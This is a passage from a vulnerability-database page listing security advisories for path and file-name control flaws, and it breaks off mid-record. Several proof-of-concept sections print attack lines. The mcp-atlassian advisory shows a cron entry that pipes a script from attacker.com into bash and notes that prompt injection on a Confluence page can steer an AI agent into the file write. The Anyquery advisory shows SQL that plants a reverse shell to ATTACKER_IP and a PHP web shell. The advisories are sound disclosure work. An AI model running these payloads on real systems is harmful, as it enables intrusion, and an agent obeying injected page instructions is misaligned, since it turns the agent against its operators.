CWE-73
AllowedExternal Control of File Name or Path
Abstraction: Base · Status: Draft
The product allows user input to control or influence paths or file names that are used in filesystem operations.
909 vulnerabilities reference this CWE, most recent first.
GHSA-XHGX-4832-CRRX
Vulnerability from github – Published: 2026-06-03 15:30 – Updated: 2026-06-03 15:30The bac-scanresult method allows a remote attacker with user privileges to delete arbitrary local files due to insufficient validation of user-controlled input.
{
"affected": [],
"aliases": [
"CVE-2026-35076"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-03T13:16:19Z",
"severity": "HIGH"
},
"details": "The bac-scanresult method allows a remote attacker with user privileges to delete arbitrary local files due to insufficient validation of user-controlled input.",
"id": "GHSA-xhgx-4832-crrx",
"modified": "2026-06-03T15:30:41Z",
"published": "2026-06-03T15:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35076"
},
{
"type": "WEB",
"url": "https://www.certvde.com/en/advisories/VDE-2026-039"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-XHRW-5QXX-JPWR
Vulnerability from github – Published: 2026-05-07 21:41 – Updated: 2026-05-15 23:51Summary
Microsoft APM normalizes marketplace plugins by copying plugin components referenced in plugin.json into .apm/. The manifest fields agents, skills, commands, and hooks are attacker-controlled, but the implementation does not enforce that those paths remain inside the plugin directory. A malicious plugin can therefore use absolute paths or ../ traversal paths to copy arbitrary readable host files or directories from the installer's machine during apm install.
In the verified primary proof of concept, a malicious plugin sets plugin.json.commands to an external markdown file. A single apm install copies that outside file into .apm/prompts/ and then auto-integrates it into .github/prompts/secret.prompt.md in the victim project. This is a local supply-chain trust-boundary violation with direct confidentiality and integrity impact.
Reviewed version and commit:
apm-cliversion0.8.11maincommit70b34faa16a5a783424698163deeb028854fd23a
Details
Root cause:
src/apm_cli/deps/plugin_parser.py:336-348_resolve_sources()joins manifest-controlledagents,skills,commands, and directory-formhookspaths withplugin_path- it checks only
exists()andis_symlink() - it does not resolve the candidate and verify containment inside the plugin root
src/apm_cli/deps/plugin_parser.py:356-395- copies attacker-selected agent and skill files/directories into
.apm/ src/apm_cli/deps/plugin_parser.py:397-452- copies attacker-selected command and hook files/directories into
.apm/ src/apm_cli/deps/plugin_parser.py:436-442- string-form hook config paths are also copied without a root-containment check
There is already a safer precedent in the same module:
src/apm_cli/deps/plugin_parser.py:195-210_read_mcp_file()resolves the candidate path- rejects paths escaping the plugin root
- rejects symlinks
Reachability:
- Local install path:
src/apm_cli/commands/install.py:2007-2015- local marketplace plugins are normalized through
normalize_plugin_directory(...) - Remote install path:
src/apm_cli/deps/github_downloader.py:2224-2230- downloaded packages are validated through
validate_apm_package(target_path) src/apm_cli/models/validation.py:164-172,224-226,304-324- marketplace plugins are normalized through the same vulnerable path after clone
Project write-back path:
src/apm_cli/integration/prompt_integrator.py:38-56- reads
.apm/prompts/*.prompt.md src/apm_cli/integration/prompt_integrator.py:170-189- writes prompt files into
.github/prompts/ src/apm_cli/commands/install.py:2496-2514- auto-integrates package primitives after install
This means a malicious dependency can cause APM to read from outside the dependency itself and materialize host-local content into managed install output and, in the verified prompt case, directly into the victim project.
PoC
The attached zip contains a complete maintainer-ready proof-of-concept package, including runnable scripts, payload templates, captured output, and the exact validation environment.
Primary end-to-end apm install reproduction:
- Install APM from the reviewed source tree (
apm-cli 0.8.11, commit70b34faa16a5a783424698163deeb028854fd23a) into a Python environment. - Create an external file outside the malicious plugin directory, for example:
victim\secret.md
with content:
# STOLEN VIA APM INSTALL
- Create a malicious plugin with this minimal
plugin.json:
{
"name": "evil-plugin",
"commands": "D:\\absolute\\path\\to\\victim\\secret.md"
}
- Create a minimal
apm.ymlthat references the malicious plugin. - Run:
apm install
- Observe that APM completes successfully and writes:
.github/prompts/secret.prompt.md
- Observe that the resulting prompt file contains the external host file content:
# STOLEN VIA APM INSTALL
Verified console output from the included PoC:
[>] Installing dependencies from apm.yml...
[+] ./evil-plugin (local)
|-- 1 prompts integrated -> .github/prompts/
[*] Installed 1 APM dependency.
PoC succeeded.
Integrated into project: ...\.github\prompts\secret.prompt.md
Integrated content:
# STOLEN VIA APM INSTALL
Secondary remote-parity reproduction:
- The attached
reproduce-remote-parity.pyexercisesGitHubPackageDownloader.download_package(...)after clone by replacing only the clone callback to keep the test self-contained. - It confirms the same unsafe normalization path copies an outside host file into:
<download-target>/.apm/prompts/secret.prompt.md
Impact
This is a path traversal / arbitrary local file copy issue in the package install flow.
Who is impacted:
- any user who runs
apm installagainst a malicious or compromised plugin dependency - both direct and transitive dependency consumers
What an attacker gains:
- ability to copy arbitrary readable host files into
.apm/during install - ability to copy arbitrary readable host directories recursively into
.apm/ - ability to trigger project write-back when the copied content lands in supported primitive locations such as
.apm/prompts/
Practical impact:
- local notes, markdown, source material, or configuration files can be staged into repository-controlled paths
- copied prompt files are automatically written into
.github/prompts/, increasing the chance that sensitive or attacker-selected content is committed, synced, or consumed by other tooling - the issue breaks the expected trust boundary that a dependency install should copy only content belonging to the dependency itself
Mitigation
Recommended fix:
- Resolve every manifest-controlled component path against
plugin_path.resolve(). - Reject absolute or relative paths that escape the plugin root.
- Apply the same containment check to
agents,skills,commands, and bothhookscode paths. - Reject symlinks before copying.
- Add regression tests for:
- absolute file path in
commands - absolute directory path in
commands ../traversal inagents../traversal inskills../traversal inhooks- confirmation that only in-root files remain accepted
Attachment
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.11"
},
"package": {
"ecosystem": "PyPI",
"name": "apm-cli"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44641"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T21:41:08Z",
"nvd_published_at": "2026-05-15T17:16:47Z",
"severity": "HIGH"
},
"details": "### Summary\nMicrosoft APM normalizes marketplace plugins by copying plugin components referenced in `plugin.json` into `.apm/`. The manifest fields `agents`, `skills`, `commands`, and `hooks` are attacker-controlled, but the implementation does not enforce that those paths remain inside the plugin directory. A malicious plugin can therefore use absolute paths or `../` traversal paths to copy arbitrary readable host files or directories from the installer\u0027s machine during `apm install`.\n\nIn the verified primary proof of concept, a malicious plugin sets `plugin.json.commands` to an external markdown file. A single `apm install` copies that outside file into `.apm/prompts/` and then auto-integrates it into `.github/prompts/secret.prompt.md` in the victim project. This is a local supply-chain trust-boundary violation with direct confidentiality and integrity impact.\n\nReviewed version and commit:\n\n- `apm-cli` version `0.8.11`\n- `main` commit `70b34faa16a5a783424698163deeb028854fd23a`\n\n### Details\nRoot cause:\n\n- `src/apm_cli/deps/plugin_parser.py:336-348`\n - `_resolve_sources()` joins manifest-controlled `agents`, `skills`, `commands`, and directory-form `hooks` paths with `plugin_path`\n - it checks only `exists()` and `is_symlink()`\n - it does not resolve the candidate and verify containment inside the plugin root\n- `src/apm_cli/deps/plugin_parser.py:356-395`\n - copies attacker-selected agent and skill files/directories into `.apm/`\n- `src/apm_cli/deps/plugin_parser.py:397-452`\n - copies attacker-selected command and hook files/directories into `.apm/`\n- `src/apm_cli/deps/plugin_parser.py:436-442`\n - string-form hook config paths are also copied without a root-containment check\n\nThere is already a safer precedent in the same module:\n\n- `src/apm_cli/deps/plugin_parser.py:195-210`\n - `_read_mcp_file()` resolves the candidate path\n - rejects paths escaping the plugin root\n - rejects symlinks\n\nReachability:\n\n- Local install path:\n - `src/apm_cli/commands/install.py:2007-2015`\n - local marketplace plugins are normalized through `normalize_plugin_directory(...)`\n- Remote install path:\n - `src/apm_cli/deps/github_downloader.py:2224-2230`\n - downloaded packages are validated through `validate_apm_package(target_path)`\n - `src/apm_cli/models/validation.py:164-172`, `224-226`, `304-324`\n - marketplace plugins are normalized through the same vulnerable path after clone\n\nProject write-back path:\n\n- `src/apm_cli/integration/prompt_integrator.py:38-56`\n - reads `.apm/prompts/*.prompt.md`\n- `src/apm_cli/integration/prompt_integrator.py:170-189`\n - writes prompt files into `.github/prompts/`\n- `src/apm_cli/commands/install.py:2496-2514`\n - auto-integrates package primitives after install\n\nThis means a malicious dependency can cause APM to read from outside the dependency itself and materialize host-local content into managed install output and, in the verified prompt case, directly into the victim project.\n\n### PoC\nThe attached zip contains a complete maintainer-ready proof-of-concept package, including runnable scripts, payload templates, captured output, and the exact validation environment.\n\nPrimary end-to-end `apm install` reproduction:\n\n1. Install APM from the reviewed source tree (`apm-cli 0.8.11`, commit `70b34faa16a5a783424698163deeb028854fd23a`) into a Python environment.\n2. Create an external file outside the malicious plugin directory, for example:\n\n```text\nvictim\\secret.md\n```\n\nwith content:\n\n```md\n# STOLEN VIA APM INSTALL\n```\n\n3. Create a malicious plugin with this minimal `plugin.json`:\n\n```json\n{\n \"name\": \"evil-plugin\",\n \"commands\": \"D:\\\\absolute\\\\path\\\\to\\\\victim\\\\secret.md\"\n}\n```\n\n4. Create a minimal `apm.yml` that references the malicious plugin.\n5. Run:\n\n```powershell\napm install\n```\n\n6. Observe that APM completes successfully and writes:\n\n```text\n.github/prompts/secret.prompt.md\n```\n\n7. Observe that the resulting prompt file contains the external host file content:\n\n```md\n# STOLEN VIA APM INSTALL\n```\n\nVerified console output from the included PoC:\n\n```text\n[\u003e] Installing dependencies from apm.yml...\n [+] ./evil-plugin (local)\n |-- 1 prompts integrated -\u003e .github/prompts/\n\n[*] Installed 1 APM dependency.\nPoC succeeded.\nIntegrated into project: ...\\.github\\prompts\\secret.prompt.md\nIntegrated content:\n# STOLEN VIA APM INSTALL\n```\n\nSecondary remote-parity reproduction:\n\n- The attached `reproduce-remote-parity.py` exercises `GitHubPackageDownloader.download_package(...)` after clone by replacing only the clone callback to keep the test self-contained.\n- It confirms the same unsafe normalization path copies an outside host file into:\n\n```text\n\u003cdownload-target\u003e/.apm/prompts/secret.prompt.md\n```\n\n### Impact\nThis is a path traversal / arbitrary local file copy issue in the package install flow.\n\nWho is impacted:\n\n- any user who runs `apm install` against a malicious or compromised plugin dependency\n- both direct and transitive dependency consumers\n\nWhat an attacker gains:\n\n- ability to copy arbitrary readable host files into `.apm/` during install\n- ability to copy arbitrary readable host directories recursively into `.apm/`\n- ability to trigger project write-back when the copied content lands in supported primitive locations such as `.apm/prompts/`\n\nPractical impact:\n\n- local notes, markdown, source material, or configuration files can be staged into repository-controlled paths\n- copied prompt files are automatically written into `.github/prompts/`, increasing the chance that sensitive or attacker-selected content is committed, synced, or consumed by other tooling\n- the issue breaks the expected trust boundary that a dependency install should copy only content belonging to the dependency itself\n\n### Mitigation\nRecommended fix:\n\n1. Resolve every manifest-controlled component path against `plugin_path.resolve()`.\n2. Reject absolute or relative paths that escape the plugin root.\n3. Apply the same containment check to `agents`, `skills`, `commands`, and both `hooks` code paths.\n4. Reject symlinks before copying.\n5. Add regression tests for:\n - absolute file path in `commands`\n - absolute directory path in `commands`\n - `../` traversal in `agents`\n - `../` traversal in `skills`\n - `../` traversal in `hooks`\n - confirmation that only in-root files remain accepted\n\n### Attachment\n[Microsoft_APM_Plugin_Path_Escape_Report_Final.zip](https://github.com/user-attachments/files/26829524/Microsoft_APM_Plugin_Path_Escape_Report_Final.zip)",
"id": "GHSA-xhrw-5qxx-jpwr",
"modified": "2026-05-15T23:51:29Z",
"published": "2026-05-07T21:41:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/microsoft/apm/security/advisories/GHSA-xhrw-5qxx-jpwr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44641"
},
{
"type": "PACKAGE",
"url": "https://github.com/microsoft/apm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Microsoft APM CLI\u0027s plugin.json component paths escape plugin root and copy arbitrary host files during install"
}
GHSA-XJGW-4WVW-RGM4
Vulnerability from github – Published: 2026-03-10 18:56 – Updated: 2026-03-10 18:56Summary
The confluence_download_attachment MCP tool accepts a download_path parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to /etc/cron.d/ achieves code execution within one scheduler cycle with no server restart required).
Details
The tool parameter is defined in src/mcp_atlassian/servers/confluence.py:~1275 without any path restriction:
```python download_path: Annotated[ str, Field( description=( "Full path where the file should be saved. Can be absolute or relative. " "Examples: './downloads/report.pdf', '/tmp/image.png', 'C:\\temp\\file.docx'. " "Parent directory will be created if it doesn't exist." ) ), ],
The implementation at src/mcp_atlassian/confluence/attachments.py:183–200:
if not os.path.isabs(target_path): target_path = os.path.abspath(target_path) # normalizes path, no restriction
os.makedirs(os.path.dirname(target_path), exist_ok=True) # creates any directory with open(target_path, "wb") as f: # writes to any writable path for chunk in response.iter_content(chunk_size=8192): f.write(chunk)
os.path.abspath() converts relative paths to absolute but performs no directory boundary check. No configurable base download directory is enforced. There is no validation between the tool parameter and the file write. The same issue exists in download_content_attachments via its target_dir parameter (src/mcp_atlassian/servers/confluence.py:~1389).
PoC
Prerequisites: Confluence credentials with access to at least one page. To control the written file content, upload a malicious attachment to any Confluence page you have write access to.
Step 1 — Prepare the payload. Create a file containing a valid cron entry and upload it as a Confluence attachment:
-
-
-
-
- root curl http://attacker.com/shell.sh | bash
-
-
-
Step 2 — Call the tool with a sensitive write target:
{ "jsonrpc": "2.0", "method": "tools/call", "params": { "name": "confluence_download_attachment", "arguments": { "page_id": "", "attachment_id": "", "download_path": "/etc/cron.d/mcp-backdoor" } }, "id": 1 }
The attachment content is written verbatim to /etc/cron.d/mcp-backdoor. The system scheduler executes it within one minute with no further attacker action required.
Alternative potential write targets demonstrating broader impact: - /home//.ssh/authorized_keys - persistent SSH backdoor - /lib/python3.x/site-packages/.py - code execution on next import - ~/.bashrc - code execution on next user login
Impact
An attacker who can invoke MCP tools and upload (or access) a Confluence attachment with controlled content can achieve arbitrary code execution on the server host. The MCP HTTP transport endpoints carry no authentication by default, meaning any host that can reach the server's HTTP port can call tools using the server's own embedded Confluence credentials (global fallback). The default HOST=0.0.0.0 binding makes this reachable from the local network without any configuration change.
In enterprise deployments where Confluence write access is broadly granted, the effective attacker prerequisite reduces to network access to the MCP HTTP port. This is also reachable without direct network access: a malicious Confluence page can embed LLM instructions directing an AI agent to call confluence_download_attachment with attacker-specified parameters, achieving code execution through the agent as an unwitting intermediary.
Example potential RCE paths: 1. Cron job injection - write a cron entry to /etc/cron.d/; executes within one scheduler cycle, no restart required 2. Python package hijack - overwrite any .py module in the application's virtual environment; executes on next import or server restart. 3. SSH authorized_keys - write an attacker-controlled public key; grants persistent interactive shell access. 4. Shell profile injection - write to ~/.bashrc or ~/.profile; executes on next user login.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mcp-atlassian"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.17.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27825"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-10T18:56:07Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\nThe `confluence_download_attachment` MCP tool accepts a `download_path` parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to `/etc/cron.d/` achieves code execution within one scheduler cycle with no server restart required).\n\n\n### Details\nThe tool parameter is defined in `src/mcp_atlassian/servers/confluence.py:~1275` without any path restriction:\n\n ```python\n download_path: Annotated[\n str,\n Field(\n description=(\n \"Full path where the file should be saved. Can be absolute or relative. \"\n \"Examples: \u0027./downloads/report.pdf\u0027, \u0027/tmp/image.png\u0027, \u0027C:\\\\\\\\temp\\\\\\\\file.docx\u0027. \"\n \"Parent directory will be created if it doesn\u0027t exist.\"\n )\n ),\n ],\n\n The implementation at src/mcp_atlassian/confluence/attachments.py:183\u2013200:\n\n if not os.path.isabs(target_path):\n target_path = os.path.abspath(target_path) # normalizes path, no restriction\n\n os.makedirs(os.path.dirname(target_path), exist_ok=True) # creates any directory\n with open(target_path, \"wb\") as f: # writes to any writable path\n for chunk in response.iter_content(chunk_size=8192):\n f.write(chunk)\n\n os.path.abspath() converts relative paths to absolute but performs no directory boundary check. No configurable base download directory is enforced. There is no validation between the tool parameter and the file write. The same issue exists in download_content_attachments via its target_dir parameter (src/mcp_atlassian/servers/confluence.py:~1389).\n\n\n### PoC\nPrerequisites: Confluence credentials with access to at least one page. To control the written file content, upload a malicious attachment to any Confluence page you have write access to.\n\nStep 1 \u2014 Prepare the payload. Create a file containing a valid cron entry and upload it as a Confluence attachment:\n\n * * * * * root curl http://attacker.com/shell.sh | bash\n\nStep 2 \u2014 Call the tool with a sensitive write target:\n\n {\n \"jsonrpc\": \"2.0\",\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"confluence_download_attachment\",\n \"arguments\": {\n \"page_id\": \"\u003cpage id hosting the malicious attachment\u003e\",\n \"attachment_id\": \"\u003cattachment id\u003e\",\n \"download_path\": \"/etc/cron.d/mcp-backdoor\"\n }\n },\n \"id\": 1\n }\n\nThe attachment content is written verbatim to /etc/cron.d/mcp-backdoor. The system scheduler executes it within one minute with no further attacker action required.\n\nAlternative potential write targets demonstrating broader impact:\n - /home/\u003cuser\u003e/.ssh/authorized_keys - persistent SSH backdoor\n - \u003cvenv\u003e/lib/python3.x/site-packages/\u003cany_imported_module\u003e.py - code execution on next import\n - ~/.bashrc - code execution on next user login\n\n### Impact\nAn attacker who can invoke MCP tools and upload (or access) a Confluence attachment with controlled content can achieve arbitrary code execution on the server host. The MCP HTTP transport endpoints carry no authentication by default, meaning any host that can reach the server\u0027s HTTP port can call tools using the server\u0027s own embedded Confluence credentials (global fallback). The default HOST=0.0.0.0 binding makes this reachable from the local network without any configuration change.\n\nIn enterprise deployments where Confluence write access is broadly granted, the effective attacker prerequisite reduces to network access to the MCP HTTP port. This is also reachable without direct network access: a malicious Confluence page can embed LLM instructions directing an AI agent to call confluence_download_attachment with attacker-specified parameters, achieving code execution through the agent as an unwitting intermediary.\n\nExample potential RCE paths:\n 1. Cron job injection - write a cron entry to /etc/cron.d/; executes within one scheduler cycle, no restart required\n 2. Python package hijack - overwrite any .py module in the application\u0027s virtual environment; executes on next import or server restart.\n 3. SSH authorized_keys - write an attacker-controlled public key; grants persistent interactive shell access.\n 4. Shell profile injection - write to ~/.bashrc or ~/.profile; executes on next user login.",
"id": "GHSA-xjgw-4wvw-rgm4",
"modified": "2026-03-10T18:56:07Z",
"published": "2026-03-10T18:56:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-xjgw-4wvw-rgm4"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/commit/52b9b0997681e87244b20d58034deae89c91631e"
},
{
"type": "PACKAGE",
"url": "https://github.com/sooperset/mcp-atlassian"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "MCP Atlassian has an arbitrary file write leading to arbitrary code execution via unconstrained download_path in confluence_download_attachment"
}
GHSA-XJHG-WRCC-8945
Vulnerability from github – Published: 2025-10-31 00:30 – Updated: 2025-11-05 18:31Nagios XI versions prior to 5.7.3 contain a privilege escalation vulnerability in the getprofile.sh helper script. The script performed profile retrieval and initialization routines using insecure file/command handling and insufficient validation of attacker-controlled inputs, and in some deployments executed with elevated privileges. A local attacker with low-level access could exploit these weaknesses to cause the script to execute arbitrary commands or modify privileged files, resulting in privilege escalation.
{
"affected": [],
"aliases": [
"CVE-2020-36868"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-30T22:15:39Z",
"severity": "HIGH"
},
"details": "Nagios XI versions prior to\u00a05.7.3\u00a0contain a privilege escalation vulnerability in the getprofile.sh helper script. The script performed profile retrieval and initialization routines using insecure file/command handling and insufficient validation of attacker-controlled inputs, and in some deployments executed with elevated privileges. A local attacker with low-level access could exploit these weaknesses to cause the script to execute arbitrary commands or modify privileged files, resulting in privilege escalation.",
"id": "GHSA-xjhg-wrcc-8945",
"modified": "2025-11-05T18:31:30Z",
"published": "2025-10-31T00:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36868"
},
{
"type": "WEB",
"url": "https://www.nagios.com/changelog/nagios-xi"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/nagios-xi-privilege-escalation-via-insecure-getprofile-script"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-XM63-5PJX-VRHP
Vulnerability from github – Published: 2026-02-11 21:30 – Updated: 2026-06-30 03:35A flaw was found in BusyBox. Incomplete path sanitization in its archive extraction utilities allows an attacker to craft malicious archives that when extracted, and under specific conditions, may write to files outside the intended directory. This can lead to arbitrary file overwrite, potentially enabling code execution through the modification of sensitive system files.
{
"affected": [],
"aliases": [
"CVE-2026-26157"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-11T21:16:21Z",
"severity": "HIGH"
},
"details": "A flaw was found in BusyBox. Incomplete path sanitization in its archive extraction utilities allows an attacker to craft malicious archives that when extracted, and under specific conditions, may write to files outside the intended directory. This can lead to arbitrary file overwrite, potentially enabling code execution through the modification of sensitive system files.",
"id": "GHSA-xm63-5pjx-vrhp",
"modified": "2026-06-30T03:35:34Z",
"published": "2026-02-11T21:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26157"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:13831"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-26157"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2439039"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-253495.html"
},
{
"type": "WEB",
"url": "https://git.busybox.net/busybox/commit/archival?id=3fb6b31c716669e12f75a2accd31bb7685b1a1cb"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-26157.json"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XRCF-6JH3-GGVX
Vulnerability from github – Published: 2026-07-14 18:33 – Updated: 2026-07-14 18:33Summary
Anyquery's server mode does not disable or restrict native SQLite disk manipulation commands. Unauthenticated attackers connecting to the MySQL-compatible server port can use the ATTACH DATABASE command to write arbitrary SQLite databases to any path on the victim's filesystem where the process has write permissions. This leads to Arbitrary File Write (AFW) which could lead to Remote Code Execution (RCE) depending on the environment (e.g., by dropping a PHP web shell if a web server is running, or overwriting system cronjobs if running as root).
Details
When Anyquery is launched in Server Mode (anyquery server), it blindly proxies incoming SQL commands to the underlying SQLite engine. SQLite allows dynamic database mounting via the ATTACH DATABASE command, which creates a physical .db file on the filesystem if the file does not exist.
An attacker can connect to the open Anyquery port, attach a new database to a sensitive path (e.g., /var/www/html/shell.php, /etc/cron.d/pwn or /root/.ssh/authorized_keys), create a table, and insert a malicious payload. Although the file will contain a binary SQLite header, standard Linux services like cron, sshd, and web servers like PHP tolerate garbage data and will parse/execute the valid payload lines injected by the attacker.
PoC (Proof of Concept)
- Start the server on the victim machine:
bash anyquery server --host 0.0.0.0 --port 8070 - Connect from an attacker machine:
bash mysql -u root -h <VICTIM_IP> -P 8070 - Execute the payload to write a malicious cronjob for native RCE (Note: the Anyquery process must have write permissions to the target directory, such as
/etc/cron.dor/var/spool/cron/crontabs/):sql ATTACH DATABASE '/etc/cron.d/pwn' AS pwn; CREATE TABLE pwn.task (cmd TEXT); INSERT INTO pwn.task VALUES ('* * * * * root /bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/1337 0>&1"');
Alternatively, if a web server is running and the Anyquery process can write to the web root, you can drop a PHP shell:
sql
ATTACH DATABASE '/var/www/html/shell.php' AS pwn;
CREATE TABLE pwn.hacked (cmd TEXT);
INSERT INTO pwn.hacked VALUES ('<?php system($_GET["cmd"]); ?>');
If testing locally as a non-root user, you can verify the vulnerability by writing to /tmp:
sql
ATTACH DATABASE '/tmp/pwn.db' AS pwn;
CREATE TABLE pwn.test (cmd TEXT);
INSERT INTO pwn.test VALUES ('Hello Anyquery AFW');
Within 60 seconds, the system's cron daemon will ignore the SQLite header, parse the valid cron string, and execute the reverse shell payload with root privileges.
Impact
- Confidentiality: None (from the write action itself, though combined with LFR it becomes High).
- Integrity: High. Arbitrary files can be written or overwritten, which corrupts the filesystem.
- Availability: High. Overwriting critical system files (e.g., configurations, databases) can lead to complete Denial of Service (DoS).
- CVSS Score: 9.1 (Critical) -
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H - Note: If the process is running with elevated privileges (e.g., root) or inside a web root directory, this escalates to Remote Code Execution (RCE) with a CVSS of 9.8 (Critical).
Remediation
Disable dangerous SQLite functions (ATTACH DATABASE, DETACH DATABASE, etc.) when running in Server Mode. Restrict the MySQL handler so that it only permits operations on the main database or in-memory virtual tables.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 0.4.5"
},
"package": {
"ecosystem": "Go",
"name": "github.com/julien040/anyquery"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50006"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-284",
"CWE-434",
"CWE-73",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-14T18:33:57Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\nAnyquery\u0027s `server` mode does not disable or restrict native SQLite disk manipulation commands. Unauthenticated attackers connecting to the MySQL-compatible server port can use the `ATTACH DATABASE` command to write arbitrary SQLite databases to any path on the victim\u0027s filesystem where the process has write permissions. This leads to Arbitrary File Write (AFW) which could lead to Remote Code Execution (RCE) depending on the environment (e.g., by dropping a PHP web shell if a web server is running, or overwriting system cronjobs if running as root).\n\n## Details\nWhen Anyquery is launched in **Server Mode** (`anyquery server`), it blindly proxies incoming SQL commands to the underlying SQLite engine. SQLite allows dynamic database mounting via the `ATTACH DATABASE` command, which creates a physical `.db` file on the filesystem if the file does not exist.\n\nAn attacker can connect to the open Anyquery port, attach a new database to a sensitive path (e.g., `/var/www/html/shell.php`, `/etc/cron.d/pwn` or `/root/.ssh/authorized_keys`), create a table, and insert a malicious payload. Although the file will contain a binary SQLite header, standard Linux services like `cron`, `sshd`, and web servers like `PHP` tolerate garbage data and will parse/execute the valid payload lines injected by the attacker.\n\n## PoC (Proof of Concept)\n1. Start the server on the victim machine:\n ```bash\n anyquery server --host 0.0.0.0 --port 8070\n ```\n2. Connect from an attacker machine:\n ```bash\n mysql -u root -h \u003cVICTIM_IP\u003e -P 8070\n ```\n3. Execute the payload to write a malicious cronjob for native RCE (Note: the Anyquery process must have write permissions to the target directory, such as `/etc/cron.d` or `/var/spool/cron/crontabs/`):\n ```sql\n ATTACH DATABASE \u0027/etc/cron.d/pwn\u0027 AS pwn;\n CREATE TABLE pwn.task (cmd TEXT);\n INSERT INTO pwn.task VALUES (\u0027* * * * * root /bin/bash -c \"bash -i \u003e\u0026 /dev/tcp/ATTACKER_IP/1337 0\u003e\u00261\"\u0027);\n ```\n\n *Alternatively, if a web server is running and the Anyquery process can write to the web root, you can drop a PHP shell:*\n ```sql\n ATTACH DATABASE \u0027/var/www/html/shell.php\u0027 AS pwn;\n CREATE TABLE pwn.hacked (cmd TEXT);\n INSERT INTO pwn.hacked VALUES (\u0027\u003c?php system($_GET[\"cmd\"]); ?\u003e\u0027);\n ```\n\n *If testing locally as a non-root user, you can verify the vulnerability by writing to `/tmp`:*\n ```sql\n ATTACH DATABASE \u0027/tmp/pwn.db\u0027 AS pwn;\n CREATE TABLE 